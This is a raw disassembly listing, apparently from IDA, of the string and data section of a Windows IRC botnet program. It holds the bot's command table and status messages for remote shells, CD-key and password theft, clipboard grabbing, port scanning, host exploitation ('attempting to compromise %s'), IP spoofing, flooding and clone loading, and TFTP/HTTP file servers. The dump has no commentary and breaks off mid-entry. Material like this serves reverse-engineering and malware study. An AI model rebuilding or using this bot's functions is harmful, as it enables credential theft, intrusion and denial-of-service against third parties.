sub_401CC7+16F3o align 4 dword_441A88 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401CC7+28D7o dd 2E7473h ; char aLog[] aLog db 'log',0 ; DATA XREF: sub_401CC7+1708o ; char aLg[] aLg db 'lg',0 ; DATA XREF: sub_401CC7+171Do align 4 ; char aS_37[] aS_37 db '%s',0 ; DATA XREF: sub_401CC7+27F9o align 4 ; char asc_441AAC[] asc_441AAC db '-' ; DATA XREF: sub_401CC7+284Do db 3, 34h, 2 dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh unk_441AC4 db 2Dh ; - ; DATA XREF: sub_401CC7+28BCo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_3 db '- Failed to start listing thread, error: <%d>.',0 ; char aClearlog[] aClearlog db 'clearlog',0 ; DATA XREF: sub_401CC7+1732o align 4 ; char aClg[] aClg db 'clg',0 ; DATA XREF: sub_401CC7+1747o ; char aNetinfo[] aNetinfo db 'netinfo',0 ; DATA XREF: sub_401CC7+175Co ; char aNi[] aNi db 'ni',0 ; DATA XREF: sub_401CC7+1771o align 4 dword_441B18 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401CC7+27A5o dd 6F666E49h, 2Eh ; char aSysinfo[] aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401CC7+1786o ; char aSi[] aSi db 'si',0 ; DATA XREF: sub_401CC7+179Bo align 10h dword_441B40 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401CC7+2776o dd 2E6F666Eh, 0 ; char aRemove[] aRemove db 'remove',0 ; DATA XREF: sub_401CC7+17B0o align 4 ; char aRm[] aRm db 'rm',0 ; DATA XREF: sub_401CC7+17C5o align 4 dword_441B68 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401CC7+2721o dd 746F4220h, 2Eh ; char aProcs[] aProcs db 'procs',0 ; DATA XREF: sub_401CC7+17DAo align 4 ; char aPs[] aPs db 'ps',0 ; DATA XREF: sub_401CC7+17EFo align 10h unk_441B90 db 2Dh ; - ; DATA XREF: sub_401CC7+2611o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 10h ; char aFull[] aFull db 'full',0 ; DATA XREF: sub_401CC7+2670o align 4 ; char asc_441BB8[] asc_441BB8 db '-' ; DATA XREF: sub_401CC7+2690o db 3, 34h, 2 dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h dd 2E7473h ; char asc_441BD4[] asc_441BD4 db '-' ; DATA XREF: sub_401CC7+2705o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStar_4 db ' Failed to start listing thread, error: <%d>.',0 align 10h ; char aGetcdkeys[] aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401CC7+1804o align 4 ; char aKey[] aKey db 'key',0 ; DATA XREF: sub_401CC7+1819o dword_441C20 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401CC7+25EEo aSearchComplete db '- Search completed.',0 ; char aUptime[] aUptime db 'uptime',0 ; DATA XREF: sub_401CC7+182Eo align 4 ; char aUp[] aUp db 'up',0 ; DATA XREF: sub_401CC7+1843o align 4 ; char asc_441C4C[] asc_441C4C db '-' ; DATA XREF: sub_401CC7+25A2o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h ; char aDriveinfo[] aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401CC7+1858o align 10h ; char aDrv[] aDrv db 'drv',0 ; DATA XREF: sub_401CC7+186Do ; char aTestdlls[] aTestdlls db 'testdlls',0 ; DATA XREF: sub_401CC7+1882o align 10h ; char aDll[] aDll db 'dll',0 ; DATA XREF: sub_401CC7+1897o ; char aOpencmd[] aOpencmd db 'opencmd',0 ; DATA XREF: sub_401CC7+18ACo ; char aOcmd[] aOcmd db 'ocmd',0 ; DATA XREF: sub_401CC7+18C1o align 4 unk_441C94 db 2Dh ; - ; DATA XREF: sub_401CC7+24B4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h unk_441CC0 db 2Dh ; - ; DATA XREF: sub_401CC7+24D0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 ; char asc_441CE8[] asc_441CE8 db '-' ; DATA XREF: sub_401CC7:loc_40419Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 ; char aCmdstop[] aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401CC7+18D6o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401CC7+18EFo align 10h dword_441D20 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC7+18F4o ; char aWho[] aWho db 'who',0 ; DATA XREF: sub_401CC7+18FFo dword_441D30 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401CC7+191Co aEmpty db '<Empty>',0 ; DATA XREF: sub_401CC7:loc_40360Do ; char aD_S[] aD_S db '%d. %s',0 ; DATA XREF: sub_401CC7+1953o align 4 unk_441D54 db 2Dh ; - ; DATA XREF: sub_401CC7+1988o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 ; char aGetclip[] aGetclip db 'getclip',0 ; DATA XREF: sub_401CC7+1A15o ; char aGc[] aGc db 'gc',0 ; DATA XREF: sub_401CC7+1A2Ao align 4 dword_441D84 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401CC7+2470o dd 2Dh dword_441D9C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401CC7+249Eo dd 72616F62h, 2E64h ; char aFlusharp[] aFlusharp db 'flusharp',0 ; DATA XREF: sub_401CC7+1A3Fo align 4 ; char aFarp[] aFarp db 'farp',0 ; DATA XREF: sub_401CC7+1A54o align 4 unk_441DCC db 2Dh ; - ; DATA XREF: sub_401CC7+2459o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_441DF0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404127o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 ; char aFlushdns[] aFlushdns db 'flushdns',0 ; DATA XREF: sub_401CC7+1A69o align 4 ; char aFdns[] aFdns db 'fdns',0 ; DATA XREF: sub_401CC7+1A7Eo align 10h unk_441E30 db 2Dh ; - ; DATA XREF: sub_401CC7+2427o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_441E54 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4040F5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h ; char asc_441E80[] asc_441E80 db '-' ; DATA XREF: sub_401CC7:loc_4040FCo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 ; char aCurrentip[] aCurrentip db 'currentip',0 ; DATA XREF: sub_401CC7+1A93o align 4 ; char aCip[] aCip db 'cip',0 ; DATA XREF: sub_401CC7+1AA8o ; char aRloginserver[] aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401CC7+1ABDo align 4 ; char aRlogin[] aRlogin db 'rlogin',0 ; DATA XREF: sub_401CC7+1AD2o align 4 ; char asc_441ED4[] asc_441ED4 db '-' ; DATA XREF: sub_401CC7+2365o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_441F10 db 2Dh ; - ; DATA XREF: sub_401CC7+23D4o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToStar_5 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char aHttpserver[] aHttpserver db 'httpserver',0 ; DATA XREF: sub_401CC7+1AE7o align 4 ; char aHttp[] aHttp db 'http',0 ; DATA XREF: sub_401CC7+1AFCo align 10h ; char asc_441F60[] asc_441F60 db '-' ; DATA XREF: sub_401CC7+2214o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 ; char asc_441F9C[] asc_441F9C db '-' ; DATA XREF: sub_401CC7+227Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char aTftpserver[] aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401CC7+1B11o align 4 ; char aTftp[] aTftp db 'tftp',0 ; DATA XREF: sub_401CC7+1B26o align 4 unk_441FEC db 2Dh ; - ; DATA XREF: sub_401CC7+1FE9o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 ; char asc_44200C[] asc_44200C db '-' ; DATA XREF: sub_401CC7+209Eo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_442040 db 2Dh ; - ; DATA XREF: sub_401CC7+210Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_7 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char aCrash[] aCrash db 'crash',0 ; DATA XREF: sub_401CC7+1B3Bo align 4 ; char asc_442084[] asc_442084 db '-' ; DATA XREF: sub_401CC7+1B51o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h dd 2Eh aCrash_0 db 'crash',0 ; DATA XREF: sub_401CC7+1B8Bo align 4 ; char aScan_0[] aScan_0 db 'scan',0 ; DATA XREF: sub_401CC7+1BA1o align 10h ; char aScan_1[] aScan_1 db 'scan',0 ; DATA XREF: sub_401CC7+1BB6o align 4 ; char asc_4420B8[] asc_4420B8 db '-' ; DATA XREF: sub_401CC7+1D25o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 unk_4420F8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_403C9Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_8 db '- Failed to start scan, port is invalid.',0 align 10h aRandom db 'Random',0 ; DATA XREF: sub_401CC7+1EE3o align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401CC7+1EEAo align 4 ; char asc_442144[] asc_442144 db '-' ; DATA XREF: sub_401CC7+1F15o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h ; char asc_4421B0[] asc_4421B0 db '-' ; DATA XREF: sub_401CC7+1F86o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_9 db '- Failed to start scan thread, error: <%d>.',0 align 4 ; char aPhonehome[] aPhonehome db 'phonehome',0 ; DATA XREF: sub_401CC7+1BCBo align 4 ; char aNoticeSPhoning[] aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1BE2o align 4 ; char aFindpass[] aFindpass db 'findpass',0 ; DATA XREF: sub_401CC7+1BF8o align 4 ; char aFp[] aFp db 'fp',0 ; DATA XREF: sub_401CC7+1C09o align 4 ; char asc_44222C[] asc_44222C db '-' ; DATA XREF: sub_401CC7+1C52o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 unk_442254 db 2Dh ; - ; DATA XREF: sub_401CC7+1CCCo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start search thread, error: <%d>.',0 ; char aSpoof[] aSpoof db 'spoof',0 ; DATA XREF: sub_401CC7+19A8o align 4 ; char Str2[] Str2 db 'off',0 ; DATA XREF: sub_401CC7+19BCo ; char asc_44229C[] asc_44229C db '-' ; DATA XREF: sub_401CC7+19D7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 ; char aGet_2[] aGet_2 db 'get',0 ; DATA XREF: sub_401CC7:loc_404C25o unk_4422C8 db 2Dh ; - ; DATA XREF: sub_401CC7+2F80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h ; char aD_D_D_[] aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401CC7+2FD9o align 4 unk_44230C db 2Dh ; - ; DATA XREF: sub_401CC7+2FEEo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 unk_442344 db 2Dh ; - ; DATA XREF: sub_401CC7+3002o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 ; char asc_442378[] asc_442378 db '-' ; DATA XREF: sub_401CC7+3020o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 ; char aExploit[] aExploit db 'exploit',0 ; DATA XREF: sub_401CC7+303Co ; char asc_4423AC[] asc_4423AC db '-' ; DATA XREF: sub_401CC7+30C3o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 unk_4423DC db 2Dh ; - ; DATA XREF: sub_401CC7+3135o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 ; char aReconnect_in[] aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401CC7+3142o align 4 ; char aRin[] aRin db 'rin',0 ; DATA XREF: sub_401CC7+3159o ; char aQuitReconnec_1[] aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409AB7o align 4 ; char asc_442448[] asc_442448 db '-' ; DATA XREF: sub_401CC7+7E06o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 10h ; char aReconnect_in_m[] aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401CC7+3170o ; char aRinms[] aRinms db 'rinms',0 ; DATA XREF: sub_401CC7+3187o align 4 ; char aQuitReconnec_0[] aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A73o align 10h ; char asc_4424A0[] asc_4424A0 db '-' ; DATA XREF: sub_401CC7+7DC2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 ; char aFlood[] aFlood db 'flood',0 ; DATA XREF: sub_401CC7+319Eo align 4 ; char aLoad[] aLoad db 'load',0 ; DATA XREF: sub_401CC7+31BFo align 4 ; char asc_4424D4[] asc_4424D4 db '-' ; DATA XREF: sub_401CC7+3216o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h ; char aPm_1[] aPm_1 db 'pm',0 ; DATA XREF: sub_401CC7+3246o align 4 ; char asc_442504[] asc_442504: ; DATA XREF: sub_401CC7+3261o unicode 0, < >,0 ; char a__7[] a__7: ; DATA XREF: sub_401CC7+3266o unicode 0, <_>,0 ; char aPrivmsgSS[] aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+3295o align 4 ; char aCt[] aCt db 'ct',0 ; DATA XREF: sub_401CC7+32B0o align 10h ; char asc_442520[] asc_442520: ; DATA XREF: sub_401CC7+32CBo unicode 0, < >,0 ; char a_[] a_: ; DATA XREF: sub_401CC7+32D0o unicode 0, <_>,0 ; char aPrivmsgS[] aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401CC7+32FFo dd 1732501h, 0 ; char aNt_1[] aNt_1 db 'nt',0 ; DATA XREF: sub_401CC7+331Ao align 10h ; char asc_442540[] asc_442540: ; DATA XREF: sub_401CC7+3335o unicode 0, < >,0 ; char a__8[] a__8: ; DATA XREF: sub_401CC7+333Ao unicode 0, <_>,0 ; char aNoticeSS_1[] aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401CC7+3369o align 4 ; char aMode[] aMode db 'mode',0 ; DATA XREF: sub_401CC7+3384o align 10h ; char asc_442560[] asc_442560: ; DATA XREF: sub_401CC7+339Fo unicode 0, < >,0 ; char a__0[] a__0: ; DATA XREF: sub_401CC7+33A4o unicode 0, <_>,0 ; char aModeSS[] aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401CC7+33D3o align 4 ; char aJoin[] aJoin db 'join',0 ; DATA XREF: sub_401CC7+33EEo align 4 ; char aJoinS[] aJoinS db 'join %s',0 ; DATA XREF: sub_401CC7+3410o ; char aPart_1[] aPart_1 db 'part',0 ; DATA XREF: sub_401CC7+342Bo align 4 ; char aPartS[] aPartS db 'part %s',0 ; DATA XREF: sub_401CC7+344Do ; char aPartflood[] aPartflood db 'partflood',0 ; DATA XREF: sub_401CC7+3468o align 10h ; char aPartSS[] aPartSS db 'part %s %s',0 ; DATA XREF: sub_401CC7+348Fo align 4 ; char aPnick[] aPnick db 'pnick',0 ; DATA XREF: sub_401CC7+34AAo align 4 ; char aSI[] aSI db '%s%i',0 ; DATA XREF: sub_401CC7+34EBo align 4 ; char aNickS_0[] aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401CC7+3506o ; char aJoinPart[] aJoinPart db 'join/part',0 ; DATA XREF: sub_401CC7+3521o align 10h ; char aJoinS_0[] aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401CC7+354Fo ; char aPartSS_0[] aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401CC7+357Bo align 4 ; char aJoinS_1[] aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401CC7+35B6o ; char aPartSS_1[] aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401CC7+35F6o align 4 ; char aJoinS_2[] aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401CC7+361Do ; char aPartSS_2[] aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401CC7+365Do align 4 ; char aDcc[] aDcc db 'dcc',0 ; DATA XREF: sub_401CC7+3678o ; char aPrivmsgS_0[] aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+36F5o dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h dd 64252064h, 1 ; char aNick_0[] aNick_0 db 'nick',0 ; DATA XREF: sub_401CC7+3710o align 10h ; char aJoinS_3[] aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401CC7+373Ao ; char aNickS_1[] aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401CC7+376Do ; char aNickS_2[] aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401CC7+37B5o ; char aNickS_3[] aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401CC7+37FDo ; char aChgnick[] aChgnick db 'chgnick',0 ; DATA XREF: sub_401CC7+3818o ; char aNickS_4[] aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401CC7+3842o ; char aMsg[] aMsg db 'msg',0 ; DATA XREF: sub_401CC7+385Do ; char aJoinS_4[] aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401CC7+388Bo ; char aPrivmsgSS_0[] aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+38B7o align 4 ; char aPrivmsgSS_1[] aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+38F7o align 4 ; char aPrivmsgSS_2[] aPrivmsgSS_2 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+3937o align 4 ; char aNotice_2[] aNotice_2 db 'notice',0 ; DATA XREF: sub_401CC7+3952o align 4 ; char aJoinS_5[] aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401CC7+3980o ; char aNoticeSS_2[] aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+39ACo align 4 ; char aNoticeSS_3[] aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+39ECo align 4 ; char aNoticeSS_4[] aNoticeSS_4 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3A2Co align 4 ; char aCtcp[] aCtcp db 'ctcp',0 ; DATA XREF: sub_401CC7+3A47o align 4 ; char aJoinS_6[] aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401CC7+3A75o ; char aPrivmsgS_1[] aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3A9Co dd 6E697001h, 167h ; char aPrivmsgS_2[] aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3AD7o dd 72657601h, 6E6F6973h, 1 ; char aPrivmsgS_3[] aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3B12o dd 6E696601h, 1726567h, 0 ; char aPrivmsgS_4[] aPrivmsgS_4 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3B4Do dd 6E696601h, 1726567h, 0 ; char aMix[] aMix db 'mix',0 ; DATA XREF: sub_401CC7+3B68o ; char aJoinS_7[] aJoinS_7 db 'join %s',0 ; DATA XREF: sub_401CC7+3B96o ; char aPrivmsgS_5[] aPrivmsgS_5 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3BBDo dd 6E697001h, 167h ; char aNoticeSS_5[] aNoticeSS_5 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3BFDo align 4 ; char aPrivmsgSS_3[] aPrivmsgSS_3 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401CC7+3C3Do align 4 ; char aNoticeSS_6[] aNoticeSS_6 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3C7Do align 4 ; char aRegister[] aRegister db 'register',0 ; DATA XREF: sub_401CC7+3C98o align 4 ; char aNickservRegist[] aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC7+3CC1o ; char aOff_0[] aOff_0 db 'off',0 ; DATA XREF: sub_401CC7+3CDCo unk_4427D0 db 2Dh ; - ; DATA XREF: sub_401CC7+3D2Ao db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 ; char aNick_1[] aNick_1 db 'nick',0 ; DATA XREF: sub_401CC7+3D48o align 10h ; char aN[] aN: ; DATA XREF: sub_401CC7+3D5Fo unicode 0, <n>,0 ; char aNickS_7[] aNickS_7 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D91o align 10h unk_442810 db 2Dh ; - ; DATA XREF: sub_401CC7+7DA2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 ; char aJoin_0[] aJoin_0 db 'join',0 ; DATA XREF: sub_401CC7+3D76o align 4 ; char aJ[] aJ: ; DATA XREF: sub_401CC7+3D8Do unicode 0, <j>,0 ; char aJoinSS_3[] aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D75o align 10h unk_442850 db 2Dh ; - ; DATA XREF: sub_401CC7+7D86o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 ; char aPart_2[] aPart_2 db 'part',0 ; DATA XREF: sub_401CC7+3DA4o align 4 ; char aPt[] aPt db 'pt',0 ; DATA XREF: sub_401CC7+3DBBo align 10h ; char aPartS_2[] aPartS_2 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D52o align 4 unk_44288C db 2Dh ; - ; DATA XREF: sub_401CC7+7D63o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 10h ; char aRaw[] aRaw db 'raw',0 ; DATA XREF: sub_401CC7+3DD2o ; char aR_2[] aR_2 db 'r',0 ; DATA XREF: sub_401CC7+3DE9o align 4 ; char aS_20[] aS_20 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D36o align 10h dword_4428C0 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401CC7+7D47o dd 2E732520h, 0 ; char aKillthread[] aKillthread db 'killthread',0 ; DATA XREF: sub_401CC7+3E00o align 4 ; char aK[] aK: ; DATA XREF: sub_401CC7+3E17o unicode 0, <k>,0 ; char aAll[] aAll db 'all',0 ; DATA XREF: sub_401CC7+7C55o unk_4428F0 db 2Dh ; - ; DATA XREF: sub_401CC7+7C6Fo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 unk_442918 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_409940o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_442940 db 2Dh ; - ; DATA XREF: sub_401CC7+7CBFo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 ; char asc_442964[] asc_442964 db '-' ; DATA XREF: sub_401CC7:loc_40998Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h ; char aC_quit[] aC_quit db 'c_quit',0 ; DATA XREF: sub_401CC7+3E2Eo align 4 ; char aC_q[] aC_q db 'c_q',0 ; DATA XREF: sub_401CC7+3E45o ; char aQuitLater_0[] aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7BCAo align 4 ; char aC_rndnick[] aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401CC7+3E5Co align 4 ; char aC_rn[] aC_rn db 'c_rn',0 ; DATA XREF: sub_401CC7+3E73o align 10h ; char aNickS_6[] aNickS_6 db 'NICK %s',0 ; DATA XREF: sub_401CC7+7B8Ao aS_19 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7B9Fo align 10h ; char aPrefix[] aPrefix db 'prefix',0 ; DATA XREF: sub_401CC7+3E8Ao align 4 ; char aPr[] aPr db 'pr',0 ; DATA XREF: sub_401CC7+3EA1o align 4 unk_4429DC db 2Dh ; - ; DATA XREF: sub_401CC7+7B45o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 ; char aOpen[] aOpen db 'open',0 ; DATA XREF: sub_401CC7+3EB8o align 4 ; char aO[] aO: ; 